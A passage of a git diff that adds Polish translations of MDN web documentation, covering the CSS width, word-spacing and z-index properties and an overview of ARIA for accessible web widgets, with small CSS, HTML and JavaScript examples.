href="http://www.w3.org/TR/css3-text/#white-space-summary">CSS 3</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<p>(Próbna tabela zgodności)</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>0</td> + </tr> + <tr> + <td>Firefox</td> + <td>0</td> + </tr> + <tr> + <td>Netscape</td> + <td>0</td> + </tr> + <tr> + <td>Opera</td> + <td>0</td> + </tr> + <tr> + <td>Safari</td> + <td>?</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/width/index.html b/files/pl/web/css/width/index.html new file mode 100644 index 0000000000..0e5abadd9f --- /dev/null +++ b/files/pl/web/css/width/index.html @@ -0,0 +1,207 @@ +--- +title: width +slug: Web/CSS/width +translation_of: Web/CSS/width +--- +<div>{{CSSRef}}</div> + +<p>Właściwość <strong><code>width</code></strong>CSS ustawia szerokość elementu. Domyślnie ustawia szerokość <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">obszaru zawartości</a> , ale jeśli {{cssxref ("box-sizing")}} jest ustawione na <code>border-box</code>, ustawia szerokość <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#border-area">obszaru border</a> .</p> + +<div>{{EmbedInteractiveExample("pages/css/width.html")}}</div> + +<p class="hidden">Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do interaktywnego projektu przykładów, sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam żądanie ściągnięcia.</p> + +<p>Właściwości {{cssxref ("min-width")}} i {{cssxref ("max-width")}} przesłaniają {{cssxref ("width")}}.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush:css no-line-numbers">/ * <length> wartości * / +szerokość: 300px; +szerokość: 25em; + +/ * <wartość procentowa> * / +szerokość: 75%; + +/ * Wartości słów kluczowych * / +width: 25em border-box; +width: 75% content-box; +width: max-content; +width: min-content; +width: available; +width: fit-content; +width: auto; + +/* Global values */ +width: inherit; +width: initial; +width: unset; +</pre> + +<p>Właściwość <code>width</code> przyjmuje wartości:</p> + +<ul> + <li>jedno ze słów kluczowych: <code><a href="#available">available</a></code>, <code><a href="#min-content">min-content</a></code>, <code><a href="#max-content">max-content</a></code>, <code><a href="#fit-content">fit-content</a></code>, <code><a href="#auto">auto</a></code>.</li> + <li><code><a href="#<length>"><length></a></code> lub <code><a href="#<percentage>"><percentage></a></code>. Opcjonalnie można po nich dodać jedno ze słów kluczowych: <code><a href="#border-box">border-box</a></code>, <code><a href="#content-box">content-box</a></code>.</li> +</ul> + +<h3 id="Wartości">Wartości</h3> + +<dl> + <dt><a id="<length>" name="<length>">{{cssxref("<length>")}}</a></dt> + <dd>Ustala absolutną wartość szerokości.</dd> + <dt><a id="<percentage>" name="<percentage>">{{cssxref("<percentage>")}}</a></dt> + <dd>Określa szerokość jako procentową wartość względem szerokości obejmującego bloku. Jeśli szerokość bloku obejmującego zależy od szerokości elementu, układ końcowy jest niezdefiniowany.</dd> + <dt><code><a id="border-box" name="border-box">border-box</a> </code>{{experimental_inline}}</dt> + <dd>Jeśli występuje, wartość {{cssxref("<length>")}} lub {{cssxref("<percentage>")}} są aplikowane do <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#border-area">obszaru border</a> elementu.</dd> + <dt><a id="content-box" name="content-box"><code>content-box</code></a> {{experimental_inline}}</dt> + <dd>Jeśli występuje, wartość {{cssxref("<length>")}} lub {{cssxref("<percentage>")}} jest aplikowana do <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">obszaru zawartości</a> elementu.</dd> + <dt><a id="auto" name="auto"><code>auto</code></a></dt> + <dd>Przeglądarka sama wylicza i wybiera szerokość elementu.</dd> + <dt><a id="fill" name="fill"><code>fill</code></a> {{experimental_inline}}</dt> + <dd>Używa liniowej wielkości <code>fill-available</code> lub blokowej wielkości <code>fill-available</code>, odpowiednio do trybu pisania (<em>writing mode</em>).</dd> + <dt><a id="max-content" name="max-content"><code>max-content</code></a> {{experimental_inline}}</dt> + <dd>Naturalna preferowana szerokość zawartości (gdy nie zostanie zastosowane miękkie zawijanie <em>soft wrap</em>).</dd> + <dt><a id="min-content" name="min-content"><code>min-content</code></a> {{experimental_inline}}</dt> + <dd>Naturalna minimalna szerokość zawartości (gdy zastosowane zostanie miękkie zawijanie <em>soft wrap</em>).</dd> + <dt><a id="available" name="available"><code>available</code></a> {{experimental_inline}}</dt> + <dd>Dostępna szerokość - blok obejmujący minus poziome marginesy, border i padding.</dd> + <dt id="fit-content"><a id="fit-content" name="fit-content"><code>fit-content</code></a> {{experimental_inline}}</dt> + <dd>Większa z wartości: + <ul> + <li>naturalna minimalna szerokości (min-content)</li> + <li>mniejsza z wartości: naturalna preferowana szerokość (max-content) i dostępna szerokość (available)</li> + </ul> + </dd> +</dl> + +<h3 id="Formalna_składnia">Formalna składnia</h3> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Examples">Examples</h2> + +<h3 id="Domyślna_szerokość">Domyślna szerokość</h3> + +<pre class="brush:css">p.goldie { + background: gold; +}</pre> + +<pre class="brush:html"><p class="goldie">The Mozilla community produces a lot of great software.</p></pre> + +<p>{{EmbedLiveSample('Default_width', '500px', '64px')}}</p> + +<h3 id="Piksele_i_emy">Piksele i emy</h3> + +<pre class="brush: css">.px_length { + width: 200px; + background-color: red; + color: white; + border: 1px solid black; +} + +.em_length { + width: 20em; + background-color: white; + color: red; + border: 1px solid black; +} +</pre> + +<pre class="brush: html"><div class="px_length">Width measured in px</div> +<div class="em_length">Width measured in em</div></pre> + +<p>{{EmbedLiveSample('Pixels_and_ems', '500px', '64px')}}</p> + +<h3 id="Procentowo">Procentowo</h3> + +<pre class="brush: css">.percent { + width: 20%; + background-color: silver; + border: 1px solid red; +}</pre> + +<pre class="brush: html"><div class="percent">Width in percentage</div></pre> + +<p>{{EmbedLiveSample('Percentage', '500px', '64px')}}</p> + +<h3 id="max-content_2">max-content</h3> + +<pre class="brush:css;">p.maxgreen { + background: lightgreen; + width: intrinsic; /* Safari/WebKit uses a non-standard name */ + width: -moz-max-content; /* Firefox/Gecko */ + width: -webkit-max-content; /* Chrome */ +}</pre> + +<pre class="brush:html"><p class="maxgreen">The Mozilla community produces a lot of great software.</p></pre> + +<p>{{EmbedLiveSample('max-content_2', '500px', '64px')}}</p> + +<h3 id="min-content_2">min-content</h3> + +<pre class="brush:css">p.minblue { + background: lightblue; + width: -moz-min-content; /* Firefox */ + width: -webkit-min-content; /* Chrome */ +}</pre> + +<pre class="brush:html"><p class="minblue">The Mozilla community produces a lot of great software.</p></pre> + +<p>{{EmbedLiveSample('min-content_2', '500px', '155px')}}</p> + +<h2 id="Dostępność">Dostępność</h2> + +<p>Upewnij się, że elementy z ustaloną szerokością <code>width</code> nie są przycinane ani nie zasłaniają pozostałej zawartości, kiedy strona jest przybliżana (<em>zoom</em>) aby zwiększyć rozmiar tekstu. </p> + +<ul> + <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4 | Understanding WCAG 2.0</a></li> +</ul> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specifikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Box', '#the-width-and-height-properties', 'width')}}</td> + <td>{{Spec2('CSS3 Box')}}</td> + <td>Dodanie słów kluczowych <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>, <code>border-box</code>, <code>content-box</code>.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'width')}}</td> + <td>{{Spec2('CSS3 Transitions')}}</td> + <td>Dodanie <code>width</code> jako animowanego.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'visudet.html#the-width-property', 'width')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>Doprecyzowanie do jakich elementów własność jest stosowana.</td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#width', 'width')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Oryginalna definicja.</td> + </tr> + </tbody> +</table> + +<div>{{cssinfo}}</div> + +<h2 id="Działanie_w_przeglądarkach">Działanie w przeglądarkach</h2> + +<div class="hidden">Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych. Jeśli chcesz przyczynić się do danych, sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam prośbę o wycofanie.</div> + +<p>{{Compat ("css.properties.width")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">model pudełkowy</a> , {{cssxref ("height")}}, {{cssxref ("box-sizing")}}, {{cssxref ("min-width")}}, {{cssxref ("max-width") }}</li> +</ul> diff --git a/files/pl/web/css/word-spacing/index.html b/files/pl/web/css/word-spacing/index.html new file mode 100644 index 0000000000..0c8e87b786 --- /dev/null +++ b/files/pl/web/css/word-spacing/index.html @@ -0,0 +1,78 @@ +--- +title: word-spacing +slug: Web/CSS/word-spacing +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje +translation_of: Web/CSS/word-spacing +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność CSS 'word spacing' określa odstęp pomiędzy słowami w tekstowej zawartości elementu. Można zdefiniować od jednej do trzech wartości, by wskazać minimalny, maksymalny oraz optymalny odstęp między słowami.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">word-spacing: [ normal | <length> | <percentage> ] {1,3} +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>normal </dt> + <dd> </dd> + <dt>{{cssxref("<length>")}} </dt> + <dd> </dd> + <dt>{{cssxref("<percentage>")}} </dt> + <dd> </dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre class="eval">p { + word-spacing: 1em 3em 2em; +} +</pre> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/text.html#propdef-word-spacing">W3C Cascading Style Sheets, level 2 revision 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS1#word-spacing">W3C Cascading Style Sheets, level 1</a> (secondary)</li> + <li><a class="external" href="http://www.w3.org/TR/css3-text/#word-spacing">W3C Cascading Style Sheets, level 3</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>?</td> + </tr> + <tr> + <td>Firefox</td> + <td>?</td> + </tr> + <tr> + <td>Netscape</td> + <td>?</td> + </tr> + <tr> + <td>Opera</td> + <td>?</td> + </tr> + <tr> + <td>Safari</td> + <td>?</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/z-index/index.html b/files/pl/web/css/z-index/index.html new file mode 100644 index 0000000000..fd454242be --- /dev/null +++ b/files/pl/web/css/z-index/index.html @@ -0,0 +1,128 @@ +--- +title: z-index +slug: Web/CSS/z-index +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/z-index +--- +<div>{{CSSRef}}</div> + +<p>Własność <strong><code>z-index</code></strong> określa kolejność elementów wzdłuż osi z. Kiedy elementy nachodzą na siebie, kolejność osi <code>z</code> decyduje, który element przykrywa inny. Element z większym indeksem <code>z</code> zazwyczaj przykrywa element z mniejszym.</p> + +<div>{{EmbedInteractiveExample("pages/css/z-index.html")}}</div> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("auto") }}</li> + <li>Stosowana do: {{ Cssxref("position", "elementów pozycjonowanych") }}</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: jako określona</li> +</ul> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush:css no-line-numbers">/* Właściwość wartość */ +z-index: auto; + +/* wartość jako liczba */ +z-index: 0; +z-index: 3; +z-index: 289; +z-index: -1; /* wartość ujemna w celu zmniejszenia priorytetu */ + +/* globalne wartości */ +z-index: inherit; +z-index: initial; +z-index: unset; +</pre> + +<p>Wartość <code>z-index</code> jest określona słowem kluczowym <code><a href="#auto">auto</a></code> lub jako <code><a href="#<liczba>"><liczba></a></code>.</p> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>auto </dt> + <dd>Element jest rysowany w takiej samej kolejności względem osi z jak element z <code>z-index: 0</code>.<em>Nie</em> tworzy nowego kontekstu nakładania.</dd> + <dt><a id="<liczba" name="<liczba>"><code><liczba></code></a></dt> + <dd>Element jest rysowany w podanej kolejności względem osi z. Tworzy również nowy kontekst nakładania, co oznacza, że wszystkie jego elementy potomne również są rysowane z takim samym indeksem z. Oznacza to również, że indeksy z elementów potomnych nie są porównywane do indeksów z elementów na zewnątrz danego elementu.</dd> +</dl> + +<h2 id="Przykład">Przykład</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><div class="dashed-box">Dashed box + <span class="gold-box">Gold box</span> + <span class="green-box">Green box</span> +</div> +</pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css; highlight:[3,11,19]">.dashed-box { + position: relative; + z-index: 1; + border: dashed; + height: 8em; + margin-bottom: 1em; + margin-top: 2em; +} +.gold-box { + position: absolute; + z-index: 3; /* put .gold-box above .green-box and .dashed-box */ + background: gold; + width: 80%; + left: 60px; + top: 3em; +} +.green-box { + position: absolute; + z-index: 2; /* put .green-box above .dashed-box */ + background: lightgreen; + width: 20%; + left: 65%; + top: -25px; + height: 7em; + opacity: 0.9; +} +</pre> + +<h3 id="Wynik">Wynik</h3> + +<p>{{ EmbedLiveSample('Examples', '550', '200', '') }}</p> + +<h2 id="Specifikacja">Specifikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'animation behavior for z-index')}}</td> + <td>{{Spec2('CSS3 Transitions')}}</td> + <td>Defines <code>z-index</code> as animatable.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'visuren.html#z-index', 'z-index')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> +<p>{{Compat("css.properties.z-index")}}</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("position") }}</p> + +<p>{{ languages( { "en": "en/CSS/z-index", "fr": "fr/CSS/z-index" } ) }}</p> diff --git a/files/pl/web/dostępność/an_overview_of_accessible_web_applications_and_widgets/index.html b/files/pl/web/dostępność/an_overview_of_accessible_web_applications_and_widgets/index.html new file mode 100644 index 0000000000..06d9978f8a --- /dev/null +++ b/files/pl/web/dostępność/an_overview_of_accessible_web_applications_and_widgets/index.html @@ -0,0 +1,165 @@ +--- +title: An overview of accessible web applications and widgets +slug: Web/Dostępność/An_overview_of_accessible_web_applications_and_widgets +translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets +--- +<p><span id="result_box" lang="pl"><span>Sieć się zmienia.</span> <span>Statyczne witryny oparte na stronach są coraz częściej zastępowane dynamicznymi aplikacjami internetowymi w stylu aplikacji pulpitowych, które intensywnie wykorzystują JavaScript i AJAX.</span> <span>Projektanci tworzą niesamowite nowe widżety i kontrolki całkowicie za pomocą kombinacji JavaScript, HTML i CSS.</span> <span>Ta zmiana może znacznie poprawić responsywność i użyteczność internetu, ale wielu użytkowników jest zagrożonych wykluczeniem z powodu luk w dostępności.</span> <span>JavaScript tradycyjnie cieszy się reputacją niedostępności dla użytkowników technologii pomocniczych, takich jak czytniki ekranu, ale istnieją teraz sposoby na tworzenie dynamicznych interfejsów internetowych, które są dostępne dla szerokiego grona użytkowników.</span></span></p> + +<h2 id="Problem">Problem</h2> + +<p><span id="result_box" lang="pl"><span>Większość zestawów narzędzi JavaScript oferuje bibliotekę widżetów po stronie klienta, które naśladują zachowanie znanych interfejsów pulpitu.</span> <span>Suwaki, paski menu, widoki list plików i wiele więcej można zbudować za pomocą kombinacji JavaScript, CSS i HTML.</span> <span>Ponieważ specyfikacja HTML 4 nie zapewnia wbudowanych znaczników, które semantycznie opisują tego rodzaju widżety, programiści zazwyczaj używają ogólnych elementów, takich jak <div> i <span>.</span> <span>Skutkuje to widżetem, który wygląda jak jego odpowiednik na pulpicie, jednak zwykle nie ma wystarczającej ilości znaczników semantycznych do wykorzystania przez technologię wspomagającą.</span> <span>Dynamiczne treści na stronie internetowej mogą być szczególnie problematyczne dla użytkowników, którzy z jakiegoś powodu nie są w stanie wyświetlić ekranu.</span> <span>Informacje giełdowe, aktualizacje kanałów live twitter, wskaźniki postępu i podobne treści modyfikują DOM w taki sposób, że technologia wspomagająca (AT) może nie być świadoma.</span> <span>Wtedy z pomocą wkracza ARIA.</span></span></p> + +<p><span id="result_box" lang="pl"><span>Przykład 1: Znaczniki dla widżetów kart zbudowanych bez etykietowania ARIA.</span> <span>W znacznikach nie ma informacji opisujących formę i funkcję widżetu.</span></span></p> + +<pre class="brush: html"><!-- To jest widget zakładek. Jak możesz to rozpoznać, patrząc tylko na znaczniki? --> +<ol> + <li id="ch1Tab"> + <a href="#cz1Panel">Część 1</a> + </li> + <li id="ch2Tab"> + <a href="#cz2Panel">Część 2</a> + </li> + <li id="quizTab"> + <a href="#quizPanel">Quiz</a> + </li> +</ol> + +<div> + <div id="ch1Panel">Zawartość części nr 1 </div> + <div id="ch2Panel">Zawartość częśći nr 2</div> + <div id="quizPanel">Zawartość Quizu</div> +</div></pre> + +<p><span id="result_box" lang="pl"><span>Przykład 2: Sposób wizualnego przedstawienia widżetów karty.</span> <span>Użytkownicy mogą rozpoznać to wizualnie, jednak nie ma semantyki do odczytu maszynowego dla technologii wspomagającej.</span></span><br> + <img alt="Screenshot of the tabs widget" class="default internal" src="/@api/deki/files/4926/=Tabs_Widget.png"></p> + +<h2 id="ARIA">ARIA</h2> + +<p><a class="external" href="http://www.w3.org/WAI/intro/aria.php" title="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA</a>, <strong>Accessible Rich Internet Applications</strong> specyfikacja wywodząca się od W3C <a class="external" href="http://www.w3.org/WAI/" title="http://www.w3.org/WAI/">Web Accessibility Initiative</a>, <span id="result_box" lang="pl"><span>umożliwia dodanie brakującej semantyki potrzebnej w przypadku technologii pomocniczych, takich jak czytniki ekranu.</span> <span>ARIA umożliwia programiście bardziej szczegółowe opisywanie tych widżetów poprzez dodawanie specjalnych atrybutów do znaczników.</span> <span>Zaprojektowany, aby wypełnić lukę pomiędzy standardowymi znacznikami HTML a formantami w stylu pulpitu znajdującymi się w dynamicznych aplikacjach internetowych, ARIA udostępnia role i stany, które opisują zachowanie najbardziej znanych widgetów interfejsu użytkownika.</span></span></p> + +<p><span id="result_box" lang="pl"><span>Specyfikacja ARIA jest podzielona na trzy różne typy atrybutów: role, stany i właściwości.</span> <span>Role opisują widżety, które nie są w inny sposób dostępne w HTML 4, takie jak suwaki, paski menu, karty i okna dialogowe.</span> <span>Właściwości opisują charakterystykę tych widgetów, na przykład, czy są one przeciągalne, mają wymagany element lub czy powiązane jest z nim wyskakujące okienko.</span> <span>Stany opisują bieżący stan interakcji elementu, informując technologię asystującą, jeśli jest zajęta, wyłączona, wybrana lub ukryta.</span></span></p> + +<p><span id="result_box" lang="pl"><span>Atrybuty ARIA mają być interpretowane automatycznie przez przeglądarkę i tłumaczone na natywne API systemu operacyjnego.</span> <span>Kiedy ARIA jest obecna, technologie asystujące są w stanie rozpoznać i sterować niestandardowymi kontrolkami JavaScript w taki sam sposób, jak robią to z odpowiednikami komputerów.</span> <span>Może to zapewnić znacznie bardziej spójny interfejs użytkownika, niż było to możliwe w poprzedniej generacji aplikacji internetowych, ponieważ użytkownicy technologii pomocniczych mogą wykorzystać całą swoją wiedzę na temat działania aplikacji komputerowych podczas korzystania z aplikacji internetowych.</span></span></p> + +<p><span id="result_box" lang="pl"><span>Przykład 3: Znaczniki dla widżetów kart z dodanymi atrybutami ARIA.</span></span></p> + +<pre class="brush: html"><!-- Dodaliśmy atrybut "role" aby opisać listę kart i poszczególne karty. --> +<ol role="tablist"> + <li id="ch1Tab" role="tab"> + <a href="#ch1Panel">Część 1</a> + </li> + <li id="ch2Tab" role="tab"> + <a href="#ch2Panel">Część 2</a> + </li> + <li id="quizTab" role="tab"> + <a href="#quizPanel">Quiz</a> + </li> +</ol> + +<div> + <!-- <span id="result_box" lang="pl"><span>Zwróć uwagę na rolę i atrybuty "aria-labelledby", które dodaliśmy do opisu tych paneli.</span></span> --> + <div id="ch1Panel" role="tabpanel" aria-labelledby="ch1Tab">Zawartość części nr 1</div> + <div id="ch2Panel" role="tabpanel" aria-labelledby="ch2Tab">Zawartość części nr 2</div> + <div id="quizPanel" role="tabpanel" aria-labelledby="quizTab">Zawartość Quizu</div> +</div> +</pre> + +<p><span id="result_box" lang="pl"><span>ARIA jest obsługiwana w najnowszych wersjach wszystkich głównych przeglądarek, w tym Firefox, Safari, Opera, Chrome i Internet Explorer.</span> <span>Wiele technologii wspomagających, takich jak open source NVDA i czytniki ekranu Orca, również obsługuje ARIA.</span> <span>Coraz częściej biblioteki widgetów JavaScript, takie jak jQuery UI, YUI, Google Closure i Dojo Dijit, również zawierają znaczniki ARIA.</span></span></p> + +<h3 id="Zmiany_prezentacyjne">Zmiany prezentacyjne</h3> + +<p><span id="result_box" lang="pl"><span>Dynamiczne zmiany prezentacyjne obejmują używanie CSS do zmiany wyglądu treści (np. Czerwone obramowanie wokół nieprawidłowych danych lub zmiana koloru tła zaznaczonego pola wyboru), a także pokazywanie lub ukrywanie treści.</span></span></p> + +<h4 id="Zmiany_stanu">Zmiany stanu</h4> + +<p><span id="result_box" lang="pl"><span>ARIA udostępnia atrybuty do deklarowania bieżącego stanu widgetu interfejsu użytkownika.</span> <span>Przykłady obejmują (ale z pewnością nie są ograniczone do):</span></span></p> + +<ul> + <li><strong><code>aria-checked</code></strong>: <span class="short_text" id="result_box" lang="pl"><span>wskazuje stan pola wyboru lub przycisku opcji</span></span></li> + <li><strong><code>aria-disabled</code></strong>: <span id="result_box" lang="pl"><span>wskazuje, że element jest widoczny, ale nie można go edytować lub użyć w inny sposób</span></span></li> + <li><strong><code>aria-grabbed</code></strong>: <span id="result_box" lang="pl"><span>wskazuje stan "chwycony" obiektu w operacji przeciągania i upuszczania</span></span></li> +</ul> + +<p>(Pełna lista stanów:<a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#introstates" title="http://www.w3.org/TR/wai-aria/states_and_properties"> ARIA list of states and properties</a>.)</p> + +<p><span id="result_box" lang="pl"><span>Programiści powinni używać stanów ARIA do wskazania stanu elementów widgetu interfejsu użytkownika i używać selektorów atrybutów CSS do zmiany wyglądu wizualnego na podstawie zmian stanu (zamiast używania skryptu do zmiany nazwy klasy na elemencie).</span></span></p> + +<h4 id="Zmiany_widoczności">Zmiany widoczności</h4> + +<p><span id="result_box" lang="pl"><span>Gdy zmieni się widoczność zawartości (tzn. Element jest ukryty lub pokazany), programiści powinni zmienić</span></span> wartość właściwości <strong><code>aria-hidden</code></strong>. <span id="result_box" lang="pl"><span>Opisane powyżej techniki powinny być używane do deklarowania CSS do wizualnego ukrywania elementu za pomocą</span></span> <code>display:none</code>.</p> + +<p>Przykład przedstawia prosty formularz internetowy z etykietami narzędzi zawierającymi instrukcje powiązane z polami wprowadzania.</p> + +<p>Przykład kodu HTML z atrybutem <strong><code>aria-hidden</code></strong> ustawionym na wartość <code>true</code>.</p> + +<pre class="brush: html"><div class="text"> + <label id="tp1-label" for="first">Pierwsze imię:</label> + <input type="text" id="first" name="first" size="20" + aria-labelledby="tp1-label" + aria-describedby="tp1" + aria-required="false" /> + <div id="tp1" class="tooltip" + role="tooltip" + aria-hidden="true">Twoje pierwsze imię jest opcjonalne</div> +</div> +</pre> + +<p>Poniżej kod CSS dla powyższego przykładu.<br> + Zwróć uwagę na to że nie użyto typowego selektora klasy, lecz selektora atrybutu <strong><code>aria-hidden</code></strong> ustawionego na wartość "true".</p> + +<pre class="brush: css">div.tooltip[aria-hidden="true"] { + display: none; +} +</pre> + +<p>Kod JavaScript dla powyższego przykładu, aktualizujący atrybut <strong><code>aria-hidden</code></strong>.</p> + +<pre class="brush: javascript">var showTip = function(el) { + el.setAttribute('aria-hidden', 'false'); +}</pre> + +<h3 id="Zmiany_ról">Zmiany ról</h3> + +<div class="note">W budowie</div> + +<p>ARIA pozwala programistom zadeklarować rolę semantyczną dla elementu, który w przeciwnym razie oferuje niepoprawną lub brak semantyki. Na przykład, gdy do utworzenia menu jest używana lista nie numerowana {{ HTMLElement("ul") }} powinien otrzymać atrybut <strong><code>role</code></strong> zdefiniowany jako <code>menubar</code> a każdy element listy {{ HTMLElement("li") }} powinien otrzymać atrybut <strong><code>role</code></strong> o wartości <code>menuitem</code>.</p> + +<p>Atrybut <strong><code>role</code></strong> nie powinien być zmieniany. <span class="tlid-translation translation"><span title="">Zamiast tego usuń oryginalny element i zastąp go elementem z nową wartością atrybutu</span></span> <strong><code>role</code></strong>.</p> + +<p>Rozważmy przykład widgetu "edycji bezpośredniej": komponent <span class="tlid-translation translation"><span title="">który pozwala użytkownikom edytować fragment tekstu na miejscu, bez przełączania kontekstów</span></span> . Ten komponent ma tryb "widok", gdzie tekst nie jest edytowalny, ale można go aktywować, oraz tryb "edycja", w którym tekst jest edytowalny. Deweloper może ulec pokusie, aby zaimplementować tryb "widok" używając elementu {{ HTMLElement("input") }} tylko do odczytu, i ustawić jego ARIA atrybut <strong><code>role</code></strong> na wartość <code>button</code>, następnie po przęłączeniu w tryb "edycja" uczynić element zapisywalnym i usunąć atrybut w tym trybie atrybut <strong><code>role</code></strong> (ponieważ element {{ HTMLElement("input") }} ma własną semantykę ról).</p> + +<p>Nie rób tego. Zaimplementuj tryb widoku przy użyciu zupełnie innego elementu, takiego jak {{ HTMLElement("div") }} albo {{ HTMLElement("span") }} z atrybutem <strong><code>role</code></strong> o wartości <code>button</code>, a tryb « edycja » z użyciem elementu {{ HTMLElement("input") }}.</p> + +<h3 id="Asynchroniczna_zmiana_trści">Asynchroniczna zmiana trści</h3> + +<div class="note">W budowie. Zobacz też <a href="/en/ARIA/Live_Regions" title="Live Regions">Live Regions</a></div> + +<h2 id="Nawigacja_klawiaturą">Nawigacja klawiaturą</h2> + +<p><span id="result_box" lang="pl"><span>Często programiści pomijają obsługę klawiatury podczas tworzenia niestandardowych widżetów.</span> <span>Aby być dostępnym dla wielu użytkowników, wszystkie funkcje aplikacji internetowej lub widżetu powinny być sterowane za pomocą klawiatury, bez potrzeby korzystania z myszy.</span> <span>W praktyce zwykle wiąże się to z konwencjami obsługiwanymi przez podobne widżety na pulpicie, w pełni korzystając z klawiszy Tab, Enter, Spacja i klawiszy strzałek.</span></span></p> + +<p><span id="result_box" lang="pl"><span>Tradycyjnie nawigacja po klawiaturze w sieci została ograniczona do klawisza Tab.</span> <span>Użytkownik naciśnie klawisz Tab, aby skupić się na każdym łączu, przycisku lub formularzu na stronie w liniowej kolejności, używając Shift-Tab, aby nawigować wstecz.</span> <span>Jest to jednowymiarowa forma nawigacji do przodu i do tyłu, jeden element na raz.</span> <span>Na dość gęstych stronach użytkownik klawiatury często musi kilkakrotnie nacisnąć klawisz Tab przed uzyskaniem dostępu do potrzebnej sekcji.</span> <span>Wdrożenie konwencji klawiatury w stylu komputera w Internecie może znacząco przyspieszyć nawigację dla wielu użytkowników.</span></span></p> + +<p><span id="result_box" lang="pl"><span>Oto podsumowanie, jak powinna działać nawigacja klawiaturowa w aplikacji internetowej obsługującej ARIA</span></span>:</p> + +<ul> + <li><span id="result_box" lang="pl"><span>Klawisz Tab powinien skupić się na widżecie jako całości.</span> <span>Na przykład, przechodzenie do paska menu powinno skupiać się na pierwszym elemencie menu.</span></span></li> + <li><span id="result_box" lang="pl"><span>Klawisze strzałek powinny umożliwiać wybór lub nawigację w widgecie.</span> <span>Na przykład za pomocą klawiszy strzałek w lewo i w prawo należy ustawić wybór na poprzednie i następne pozycje menu.</span></span></li> + <li><span id="result_box" 